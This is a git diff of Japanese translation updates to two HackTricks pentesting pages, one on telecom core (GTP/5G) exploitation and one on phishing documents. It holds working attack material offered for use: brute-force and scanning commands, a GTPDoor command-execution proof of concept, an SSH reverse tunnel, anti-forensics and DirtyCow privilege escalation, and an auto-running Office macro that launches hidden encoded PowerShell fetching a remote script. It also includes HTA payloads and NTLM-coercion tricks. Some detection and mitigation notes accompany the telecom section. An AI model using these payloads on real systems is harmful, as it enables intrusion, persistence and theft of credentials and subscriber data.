mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
60ba13dc5c
commit
828b90445f
@ -1,27 +1,27 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
# 電気通信ネットワークの悪用 (GTP / ローミング環境)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) は、しばしば半信頼の GRX/IPX ローミングバックボーンを横断します。平文の UDP 上をほとんど認証なしで走るため、**通信事業者の境界内のいかなる foothold からでも通常はコアシグナリングプレーンに直接到達できる**ことが多いです。以下は、SGSN/GGSN、PGW/SGW およびその他の EPC ノードに対して野外で観測された offensive tricks をまとめたメモです。
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 デフォルトの OSS / NE アカウント
|
||||
多くのベンダー製 network elements には `root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`、… のようなハードコードされた SSH/Telnet ユーザーが驚くほど多数含まれています。専用のワードリストを用意すると brute-force の成功率が大幅に向上します:
|
||||
### 1.1 デフォルト OSS / NE アカウント
|
||||
かなり多くのベンダ製ネットワーク要素が `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … のようなハードコーディングされたSSH/Telnetユーザで出荷されます。専用のwordlistはbrute-force成功率を劇的に上げます:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
デバイスが管理用 VRF のみを公開している場合は、まず jump host を経由してピボットしてください(以下の «SGSN Emu Tunnel» 節を参照)。
|
||||
デバイスが management VRF のみを公開している場合は、まず jump host を経由して pivot してください(以下のセクション «SGSN Emu Tunnel» を参照)。
|
||||
|
||||
### 1.2 GRX/IPX 内のホスト探索
|
||||
ほとんどの GRX オペレータはバックボーン上で依然として **ICMP echo** を許可しています。`masscan` の組み込み `gtpv1` UDP プローブを組み合わせることで、GTP-C リスナーを迅速にマップできます:
|
||||
### 1.2 GRX/IPX 内のホスト検出
|
||||
ほとんどの GRX オペレータはバックボーン上で **ICMP echo** を依然として許可しています。`masscan` と組み込みの `gtpv1` UDP probes を組み合わせて、GTP-C リスナーを迅速にマップしてください:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. 加入者の列挙 – `cordscan`
|
||||
|
||||
以下の Go ツールは **GTP-C Create PDP Context Request** パケットを作成し、応答をログに記録します。各応答は照会した IMSI に現在サービスを提供している **SGSN / MME** を明らかにし、場合によっては加入者が訪問している PLMN を示します。
|
||||
以下の Go ツールは **GTP-C Create PDP Context Request** パケットを生成し、応答をログに記録します。各応答からは、照会された IMSI に現在サービスを提供している **SGSN / MME** と、場合によっては加入者が訪問している PLMN が判明します。
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -30,19 +30,19 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
主なフラグ:
|
||||
- `--imsi` 対象加入者の IMSI
|
||||
- `--imsi` ターゲット加入者の IMSI
|
||||
- `--oper` ホーム / HNI (MCC+MNC)
|
||||
- `-w` raw packets を pcap に書き込む
|
||||
- `-w` raw パケットを pcap に書き出す
|
||||
|
||||
バイナリ内の重要な定数をパッチしてスキャン範囲を拡大できます:
|
||||
バイナリ内の重要な定数は、スキャン範囲を広げるためにパッチ可能です:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. GTP経由のコード実行 – `GTPDoor`
|
||||
## 3. GTP上でのコード実行 – `GTPDoor`
|
||||
|
||||
`GTPDoor` は小さな ELF サービスで、**UDP 2123 にバインドし、受信するすべての GTP-C パケットを解析します**。 ペイロードが事前共有タグで始まると、残りは(AES-128-CBC)で復号され `/bin/sh -c` 経由で実行されます。stdout/stderr は **Echo Response** メッセージ内に持ち出されるため、外向きのセッションは一切作成されません。
|
||||
`GTPDoor` は小さな ELF サービスで、**binds UDP 2123 and parses every incoming GTP-C packet**。ペイロードが pre-shared tag で始まると、残りは AES-128-CBC で復号され `/bin/sh -c` により実行されます。stdout/stderr は **Echo Response** メッセージ内に exfiltrated され、外向きのセッションは一切作成されません。
|
||||
|
||||
最小限の PoC パケット (Python):
|
||||
```python
|
||||
@ -52,24 +52,24 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
検出:
|
||||
* SGSN の IP 宛に **unbalanced Echo Requests** を送信している任意のホスト
|
||||
* GTP バージョンフラグが 1 に設定され、message type = 1 (Echo) の場合 — 規格からの逸脱
|
||||
Detection:
|
||||
* SGSN の IP に対して **unbalanced Echo Requests** を送信している任意のホスト
|
||||
* GTP version フラグが 1 に設定されている一方で message type = 1 (Echo) – 仕様からの逸脱
|
||||
|
||||
## 4. コアを介したピボット
|
||||
## 4. コアを経由したピボット
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` は、実際の GGSN/PGW に対して **PDP context を確立する** ことができる SGSN エミュレータを同梱しています。交渉が完了すると、Linux はローミングピアから到達可能な新しい `tun0` インターフェースを受け取ります。
|
||||
`OsmoGGSN` は **実際の GGSN/PGW に対して PDP context を確立する** ことができる SGSN エミュレータを同梱している。確立されると、Linux はローミングピアから到達可能な新しい `tun0` インターフェイスを受け取る。
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
適切な firewall hair-pinning を行えば、このトンネルは signalling-only VLANs をバイパスして、直接 **data plane** に到達します。
|
||||
適切な firewall hair-pinning を行えば、このトンネルは signalling-only VLANs を回避して、直接 **data plane** に到達します。
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS はローミング環境ではほぼ常に開いています。内部の SSH サービスを VPS 上で :53 で待ち受けるよう公開し、後で自宅から接続を戻します:
|
||||
DNS はローミング環境ではほぼ常に開いています。内部の SSH サービスを VPS 上で :53 をリッスンさせて公開し、後で自宅から接続し直します:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
@ -79,9 +79,9 @@ VPSで`GatewayPorts yes`が有効になっていることを確認してくだ
|
||||
|
||||
| チャネル | トランスポート | デコード | 備考 |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 純粋な受動リスナー、アウトバウンドトラフィックなし |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) をAレコードのオクテットにエンコード | `*.nodep` サブドメインを監視 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cトラフィックに溶け込む |
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 完全に受動的なリスナー(送信トラフィックなし) |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) を Aレコードのオクテットにエンコード | `*.nodep` サブドメインを監視する |
|
||||
| GTP – `GTPDoor` | UDP 2123 | private IE 内の AES-128-CBC ブロブ | 正規の GTP-C 通信に紛れる |
|
||||
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. レガシーNEでの Privilege Escalation
|
||||
## 7. レガシー NEでの Privilege Escalation
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -118,72 +118,72 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 前節で説明したカスタムツール。
|
||||
* `FScan` : intranet の TCP スイープ (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – previous sectionsで説明したカスタムツール。
|
||||
* `FScan` : intranet向けのTCPスイープ(`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS の rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : 軽量な SOCKS5 pivoting
|
||||
* `Microsocks` + `ProxyChains` : 軽量な SOCKS5 ピボット
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
5G の登録手続きは NGAP 上の NAS (Non-Access Stratum) で実行される。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証も暗号化もされていない。このプレセキュリティのウィンドウは、N2 トラフィックを観測または改ざんできる場合(コア内のオンパス、偽 gNB、テストベッド など)に複数の攻撃経路を可能にする。
|
||||
5G の登録手順は NGAP 上で動作する NAS (Non-Access Stratum) 上で実行されます。Security Mode Command/Complete によって NAS セキュリティが有効化されるまでは、初期メッセージは認証も暗号化もされていません。この事前セキュリティの窓は、N2 トラフィックを観測または改変できる状況(コア内の on-path、rogue gNB、またはテストベッドなど)で複数の攻撃経路を可能にします。
|
||||
|
||||
Registration flow (簡略):
|
||||
- Registration Request: UE が SUCI(ホームネットワーク公開鍵で暗号化された SUPI)と capabilities を送信。
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE が SUCI(暗号化された SUPI)と能力情報を送信する。
|
||||
- Authentication: AMF/AUSF が RAND/AUTN を送信;UE は RES* を返す。
|
||||
- Security Mode Command/Complete: NAS の整合性と暗号化が交渉され有効化される。
|
||||
- PDU Session Establishment: IP/QoS の設定。
|
||||
- Security Mode Command/Complete: NAS の整合性保護と暗号化がネゴシエートされ有効化される。
|
||||
- PDU Session Establishment: IP/QoS のセットアップ。
|
||||
|
||||
Lab setup のヒント(RF 以外):
|
||||
- Core: Open5GS のデフォルト展開でフローを再現するのに十分。
|
||||
- UE: シミュレータやテスト用 UE;Wireshark でデコード。
|
||||
- Active tooling: 5GReplay(NGAP 内の NAS をキャプチャ/改変/リプレイ)、Sni5Gect(フルな偽 gNB を立てずに NAS をスニッフ/パッチ/注入)。
|
||||
- Wireshark の便利な display filter:
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS のデフォルト展開でフローを再現可能。
|
||||
- UE: シミュレータまたはテスト UE;Wireshark でデコード。
|
||||
- Active tooling: 5GReplay(NGAP 内の NAS をキャプチャ/改変/リプレイ)、Sni5Gect(完全な rogue gNB を立てずに NAS をオンザフライでスニッフ/パッチ/インジェクト)。
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
期待される動作: UE/USIM は SUCI(ホームネットワークの公開鍵で暗号化された SUPI)を送信する必要がある。Registration Request に平文の SUPI/IMSI が含まれている場合、これは恒久的な加入者トラッキングを可能にするプライバシ欠陥を示す。
|
||||
Expected: UE/USIM は SUCI(home-network の公開鍵で暗号化された SUPI)を送信する必要があります。Registration Request に平文の SUPI/IMSI が含まれている場合、恒久的な加入者追跡を可能にするプライバシー欠陥を示します。
|
||||
|
||||
テスト方法:
|
||||
- InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を検査する。
|
||||
- Wireshark の簡易チェック:
|
||||
How to test:
|
||||
- InitialUEMessage の最初の NAS メッセージをキャプチャし、Mobile Identity IE を確認する。
|
||||
- Wireshark quick checks:
|
||||
- SUCI としてデコードされるべきで、IMSI ではないこと。
|
||||
- フィルタ例: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` が存在するはず;存在しないのに `imsi` がある場合は露出を示す。
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` が存在するか;不在で `imsi` が存在する場合は識別子の露出を示す。
|
||||
|
||||
収集すべきもの:
|
||||
- 露出している場合は MCC/MNC/MSIN を取得;UE ごとにログを取り、時間/場所を跨いで追跡。
|
||||
What to collect:
|
||||
- 露出している場合は MCC/MNC/MSIN を収集;UE ごとにログして時間/場所で追跡する。
|
||||
|
||||
緩和策:
|
||||
- SUCI のみを許可する UE/USIM を必須化;初期 NAS に IMSI/SUPI が含まれている場合はアラートする。
|
||||
Mitigation:
|
||||
- SUCI のみを許可する UE/USIM を強制;初期 NAS に IMSI/SUPI が含まれる場合はアラートを出す。
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
背景:
|
||||
Background:
|
||||
- UE は Registration Request の UE Security Capability IE でサポートする EEA(暗号化)と EIA(整合性)を通知する。
|
||||
- 一般的なマッピング: EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUC;EEA0/EIA0 は null アルゴリズム。
|
||||
- 一般的な対応:EEA1/EIA1 = SNOW3G、EEA2/EIA2 = AES、EEA3/EIA3 = ZUC;EEA0/EIA0 はヌルアルゴリズム。
|
||||
|
||||
問題点:
|
||||
- Registration Request は整合性保護されていないため、オンパス攻撃者は capability ビットをクリアして後の Security Mode Command で EEA0/EIA0 の選択を強制できる。一部のスタックは緊急サービス以外でも null アルゴリズムを誤って許可する。
|
||||
Issue:
|
||||
- Registration Request は整合性保護されていないため、on-path の攻撃者が capability ビットをクリアして後続の Security Mode Command で EEA0/EIA0 を選択させるよう強制できる。一部のスタックは緊急サービスを除いてヌルアルゴリズムを誤って許可することがある。
|
||||
|
||||
攻撃手順(攻撃的な検証):
|
||||
- InitialUEMessage をインターセプトして NAS UE Security Capability を EEA0/EIA0 のみを広告するように改変する。
|
||||
- Sni5Gect を使い、NAS メッセージをフックして転送前に capability ビットをパッチする。
|
||||
- AMF が null 暗号/整合性を受け入れて Security Mode を EEA0/EIA0 で完了するか観察する。
|
||||
Offensive steps:
|
||||
- InitialUEMessage をインターセプトし、NAS の UE Security Capability を変更して EEA0/EIA0 のみを広告するようにする。
|
||||
- Sni5Gect を使用して NAS メッセージをフックし、転送前に capability ビットをパッチする。
|
||||
- AMF がヌル暗号/ヌル整合性を受け入れて Security Mode を EEA0/EIA0 で完了するかを観察する。
|
||||
|
||||
検証/可視化:
|
||||
- Security Mode Command/Complete 後に選択されたアルゴリズムを Wireshark で確認する。
|
||||
- 受動的スニッファの出力例:
|
||||
Verification/visibility:
|
||||
- Wireshark で Security Mode Command/Complete の後に選択されたアルゴリズムを確認する。
|
||||
- 受動スニッファの出力例:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigations (must):
|
||||
- AMF/policy を設定して、厳密に義務付けられている場合(例: 緊急通報)を除き、EEA0/EIA0 を拒否する。
|
||||
- 最低でも EEA2/EIA2 の適用を優先する; null algorithms をネゴシエートする NAS セキュリティコンテキストについてはすべてログ記録とアラームを行う。
|
||||
- AMF/policy を設定して、厳密に義務付けられている場合(例:緊急通報)を除き EEA0/EIA0 を拒否する。
|
||||
- 最低でも EEA2/EIA2 の適用を推奨する。NAS セキュリティコンテキストで null algorithms をネゴシエートした場合はログ記録およびアラートを発生させる。
|
||||
|
||||
### 9.3 初期 Registration Request のリプレイ(pre-security NAS)
|
||||
初期の NAS は整合性と新鮮性を欠くため、キャプチャした InitialUEMessage+Registration Request を AMF にリプレイできる。
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
初期の NAS は整合性と新鮮性を欠くため、捕獲した InitialUEMessage+Registration Request を AMF にリプレイできる。
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
@ -209,31 +209,31 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- AMF が replay を受け入れて Authentication に進むかどうかを確認する。freshness や context の検証が行われていない場合、脆弱性を示す。
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigations:
|
||||
- AMF 側で replay protection / context binding を強制する。GNB/UE 単位でレート制限と相関付けを行う。
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: AMF/SMF/UPF を立ててコアをエミュレートする;N2 (NGAP) と NAS を監視する。
|
||||
- Wireshark: NGAP/NAS のデコードを確認する;上記フィルタを適用して Registration を抽出する。
|
||||
- 5GReplay: Registration をキャプチャし、ルールに従って特定の NGAP + NAS メッセージを replay する。
|
||||
- Sni5Gect: NAS control-plane をライブで sniff/modify/inject して null algorithms を強制したり、authentication シーケンスを攪乱する。
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Registration Request を継続的に監視し、平文の SUPI/IMSI を検出したら当該デバイス/USIM をブロックする。
|
||||
- EEA0/EIA0 は限定的な緊急手順を除き拒否し、最低でも EEA2/EIA2 を要求する。
|
||||
- 不正または設定ミスのインフラを検出する:無許可の gNB/AMF、予期しない N2 ピアなど。
|
||||
- null algorithms を引き起こす NAS security modes や InitialUEMessage の頻繁な replay を検出してアラートする。
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立している場合**。
|
||||
2. **内部 IP から Non-standard ports (53, 80, 443) で SSH handshakes を受信している場合**。
|
||||
3. **対応する Echo Responses のない頻繁な Echo Requests** – GTPDoor beacons を示す可能性がある。
|
||||
4. **識別子/シーケンスフィールドが大きく非ゼロの ICMP echo-reply トラフィックが高レートで発生している場合**。
|
||||
5. 5G: **同一エンドポイントから繰り返される NAS Registration Requests を含む InitialUEMessage**(replay の兆候)。
|
||||
6. 5G: **緊急時以外で EEA0/EIA0 を交渉する NAS Security Mode**。
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,40 +1,40 @@
|
||||
# Phishing ファイルとドキュメント
|
||||
# フィッシング ファイル & ドキュメント
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office ドキュメント
|
||||
|
||||
Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に対するデータ構造の識別の形で実行されます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
|
||||
Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に従ったデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、解析中のファイルは開かれません。
|
||||
|
||||
通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変更しても、マクロ実行能力を維持することが可能です.\
|
||||
例えば、RTF ファイルは設計上マクロをサポートしていませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、マクロを実行可能になります.\
|
||||
同じ内部構造とメカニズムは Microsoft Office Suite(Excel、PowerPoint など)のすべてのソフトウェアに適用されます。
|
||||
通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変えても、マクロ実行機能を維持することが可能です。\
|
||||
例えば、RTF ファイルは設計上マクロをサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word によって扱われ、マクロを実行可能になります。\
|
||||
同じ内部構造とメカニズムは Microsoft Office Suite (Excel, PowerPoint など) のすべてのソフトウェアに適用されます。
|
||||
|
||||
次のコマンドを使用して、いくつかの Office プログラムが実行する拡張子を確認できます:
|
||||
以下のコマンドを使って、いくつかの Office プログラムで実行される拡張子を確認できます:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### 外部画像の読み込み
|
||||
### External Image Load
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
_**Categories**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
文書内の macros を使って任意のコードを実行することが可能です。
|
||||
マクロを使ってドキュメントから任意のコードを実行することが可能です。
|
||||
|
||||
#### Autoload 関数
|
||||
#### Autoload functions
|
||||
|
||||
一般的なものほど、AV に検出されやすくなります。
|
||||
一般的であるほど、AVによって検出される確率が高くなります。
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros コード例
|
||||
#### Macros Code Examples
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### メタデータを手動で削除
|
||||
#### 手動でメタデータを削除する
|
||||
|
||||
**File > Info > Inspect Document > Inspect Document** に移動すると、Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。
|
||||
「**File > Info > Inspect Document > Inspect Document**」に移動すると、Document Inspector が表示されます。**Inspect** をクリックし、続いて **Document Properties and Personal Information** の横にある **Remove All** をクリックしてください。
|
||||
|
||||
#### Doc 拡張子
|
||||
#### Doc Extension
|
||||
|
||||
完了したら **Save as type** ドロップダウンを選択し、フォーマットを **`.docx`** から **Word 97-2003 `.doc`** に変更します。\\
|
||||
これは **`.docx` 内にマクロを保存できない** のと、マクロ対応の **`.docm`** 拡張子に対するスティグマがあるためです(例:サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイで完全にブロックされることがあります)。したがって、この **レガシーな `.doc` 拡張子が最良の妥協案** です。
|
||||
完了したら、**Save as type** ドロップダウンを選択し、フォーマットを **`.docx`** から **Word 97-2003 `.doc`** に変更します。\
|
||||
これは **`.docx`** の中に macro を保存できないことと、macro 有効化の **`.docm`** 拡張子にはスティグマ(例:サムネイルアイコンに大きな `!` が付くため、一部の web/email ゲートウェイが完全にブロックする)があります。したがって、この **レガシーな `.doc` 拡張子が最良の妥協点** です。
|
||||
|
||||
#### 悪意のあるマクロ生成ツール
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA ファイル
|
||||
## HTA Files
|
||||
|
||||
HTA は **HTML とスクリプト言語(VBScript や JScript など)を組み合わせた** Windows プログラムです。ユーザーインターフェースを生成し、ブラウザのセキュリティモデルの制約を受けない「完全に信頼された」アプリケーションとして実行されます。
|
||||
HTA は HTML とスクリプト言語(VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けない「fully trusted」アプリケーションとして実行されます。
|
||||
|
||||
HTA は **`mshta.exe`** を使用して実行され、通常 **Internet Explorer** とともに **インストールされます**。そのため **`mshta` は IE に依存します**。したがって、IE がアンインストールされている場合、HTA は実行できません。
|
||||
HTA は **`mshta.exe`** を使って実行されます。通常これは **Internet Explorer** とともに **installed** されるため、**`mshta` は IE に依存**します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## NTLM 認証の強制
|
||||
|
||||
NTLM 認証を「リモートで」強制する方法はいくつかある。例えば、ユーザがアクセスするメールや HTML に **不可視の画像** を追加する(HTTP MitM でも?)。あるいは、フォルダを開くだけで **認証をトリガーする** ファイルの **アドレス** を被害者に送る、など。
|
||||
NTLM 認証を**「リモートで」強制する**方法はいくつかあります。たとえば、ユーザがアクセスするメールや HTML に**不可視の画像**を追加する(HTTP MitM? でも)。また、被害者に**ファイルのアドレス**を送り、フォルダを**開くだけで****認証を****トリガー**するようなものを送ることもできます。
|
||||
|
||||
**以下のページでこれらのアイデアや詳細を確認してください:**
|
||||
**以下のページでこれらのアイデアやその他を確認してください:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,22 +156,22 @@ NTLM 認証を「リモートで」強制する方法はいくつかある。例
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
ハッシュや認証情報を盗むだけでなく、**perform NTLM relay attacks** も可能であることを忘れないでください:
|
||||
ハッシュや認証を盗むだけでなく、**NTLM relay attacks**も実行できることを忘れないでください:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK ローダー + ZIP 埋め込みペイロード (fileless chain)
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
